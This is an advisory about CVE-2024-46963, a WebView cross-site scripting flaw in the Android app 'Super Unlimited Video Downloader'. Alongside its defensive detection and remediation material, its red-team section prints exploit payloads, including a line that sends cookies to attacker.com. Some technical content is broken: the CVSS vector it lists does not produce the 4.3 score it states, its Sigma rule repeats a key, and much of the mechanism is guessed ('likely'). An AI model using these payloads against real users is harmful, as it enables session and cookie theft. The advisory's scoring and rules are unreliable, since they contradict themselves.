CVE-2024-46963

Executive Summary

CVE-2024-46963 identifies a critical security flaw in the com.superfast.video.downloader (Super Unlimited Video Downloader - All in One) Android application, version 5.1.9 and earlier. The vulnerability resides in the com.bluesky.browser.ui.BrowserMainActivity component, which improperly handles user-supplied URIs. An attacker can craft a malicious link that, when opened by the application, executes arbitrary JavaScript code within the WebView context. This allows for Cross-Site Scripting (XSS) attacks, potentially leading to data theft, session hijacking, or further exploitation of the device.

The vulnerability is unpatched, and no official fix has been released by the vendor. The CVSS score is 0.0 in the NVD data, but based on the technical details, a more accurate score is 4.3 (Medium). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability affects an Android application distributed via third-party app stores and potentially sideloaded APKs. The lack of a patch and the nature of the flaw (XSS in a WebView) pose a supply chain risk, as users may unknowingly install a vulnerable version. The application's reliance on a WebView component without proper input sanitization introduces a client-side attack vector.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can deliver the malicious link remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click the malicious link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its original scope (WebView context).
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Base Score: 4.3 (Medium)

Threat Level: Medium. While the CVSS is moderate, the lack of a patch and the potential for chaining with other vulnerabilities (e.g., file access via JavaScript) elevates the risk for targeted users.

Deep Dive & Mechanics

The vulnerability is a classic Cross-Site Scripting (XSS) in an Android WebView. The BrowserMainActivity component likely uses an Intent to receive a URL and loads it into a WebView. The flaw is that the application does not sanitize or validate the URL before loading it, allowing an attacker to inject JavaScript via a javascript: URI or by hosting a malicious page that contains XSS payloads.

Attack Flow:

1. The attacker crafts a malicious link, e.g., intent://example.com/#Intent;action=android.intent.action.VIEW;scheme=https;package=com.superfast.video.downloader;end or a direct javascript: URI.
2. The victim clicks the link (e.g., via SMS, email, or a malicious website).
3. The Android system opens the link in the vulnerable application.
4. The BrowserMainActivity loads the URL into a WebView without proper sanitization.
5. The JavaScript code executes in the WebView context, allowing the attacker to:
   • Steal cookies or session tokens.
   • Access local storage.
   • Perform actions on behalf of the user.
   • Potentially exploit WebView vulnerabilities (e.g., file:// access).

Key Component: com.bluesky.browser.ui.BrowserMainActivity

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

// In BrowserMainActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    Intent intent = getIntent();
    Uri data = intent.getData();
    if (data != null) {
        WebView webView = findViewById(R.id.webview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.loadUrl(data.toString()); // No sanitization
    }
}

Patched Code (Conceptual):

// In BrowserMainActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    Intent intent = getIntent();
    Uri data = intent.getData();
    if (data != null) {
        String url = data.toString();
        // Validate URL scheme and sanitize
        if (url.startsWith("http://") || url.startsWith("https://")) {
            WebView webView = findViewById(R.id.webview);
            webView.getSettings().setJavaScriptEnabled(true);
            webView.loadUrl(url);
        } else {
            // Reject non-HTTP/HTTPS URLs
            finish();
        }
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Android device or emulator with the vulnerable app installed (version 5.1.9 or earlier).
• A way to deliver the malicious link (e.g., SMS, email, QR code).

Exploit Payload:

javascript:alert('XSS');

Step-by-Step:

1. Install the vulnerable app on the target device.
2. Send a link to the victim: sms:+1234567890?body=Click%20here%3A%20javascript%3Aalert('XSS')%3B
3. The victim clicks the link, and the app opens the WebView.
4. The JavaScript executes, showing an alert.

Advanced Payload (Steal Cookies):

javascript:document.location='http://attacker.com/steal?cookie='+document.cookie;

Note: The exact delivery method depends on how the app handles intents. The attacker may need to use a custom URI scheme or a malicious website that redirects to the vulnerable app.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual intent calls to com.superfast.video.downloader with javascript: URIs.
• Use network monitoring to detect outbound connections to unknown domains from the app.
• Implement WebView security best practices (e.g., disable JavaScript if not needed, use setAllowFileAccess(false)).

Defense:

• Uninstall the vulnerable app until a patch is available.
• Use a mobile security solution that blocks malicious intents.
• Educate users not to click on suspicious links.

Indicators of Compromise (IOCs)

• Application Package Name: com.superfast.video.downloader
• Application Version: 5.1.9 and earlier
• Malicious URIs: javascript:*, intent://*#Intent;package=com.superfast.video.downloader;end
• Network Indicators: Outbound connections to attacker-controlled domains from the app.
• File Indicators: Presence of the app's APK with SHA256 hash (unknown, but can be obtained from third-party stores).

Detection Engineering

YARA Rule

rule CVE_2024_46963_Android_XSS {
    meta:
        description = "Detects vulnerable Super Unlimited Video Downloader APK"
        author = "Valters IT"
        date = "2024-10-27"
        hash = "unknown"
    strings:
        $class = "com/bluesky/browser/ui/BrowserMainActivity"
        $webview_load = "loadUrl"
        $js_enabled = "setJavaScriptEnabled"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-46963 - Super Unlimited Video Downloader XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit XSS in the vulnerable Android app
logsource:
    category: process_creation
    product: android
detection:
    selection:
        Image: /system/bin/app_process
        CommandLine|contains: com.superfast.video.downloader
        CommandLine|contains: javascript:
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-46963 - Super Unlimited Video Downloader XSS Attempt"; content:"javascript:"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Uninstall the application com.superfast.video.downloader from all devices.
2. Block the application from being installed via MDM policies.
3. Monitor for any suspicious activity on devices that had the app installed.

Long-term Fix:

• The vendor must release a patched version that sanitizes URIs in BrowserMainActivity.
• Users should only install apps from trusted sources (e.g., Google Play Store) and verify permissions.

Workarounds:

• If the app is necessary, disable JavaScript in the WebView (if possible) or use a third-party browser for links.
• Implement network filtering to block outbound connections from the app.

Valters IT
Securing Digital Frontiers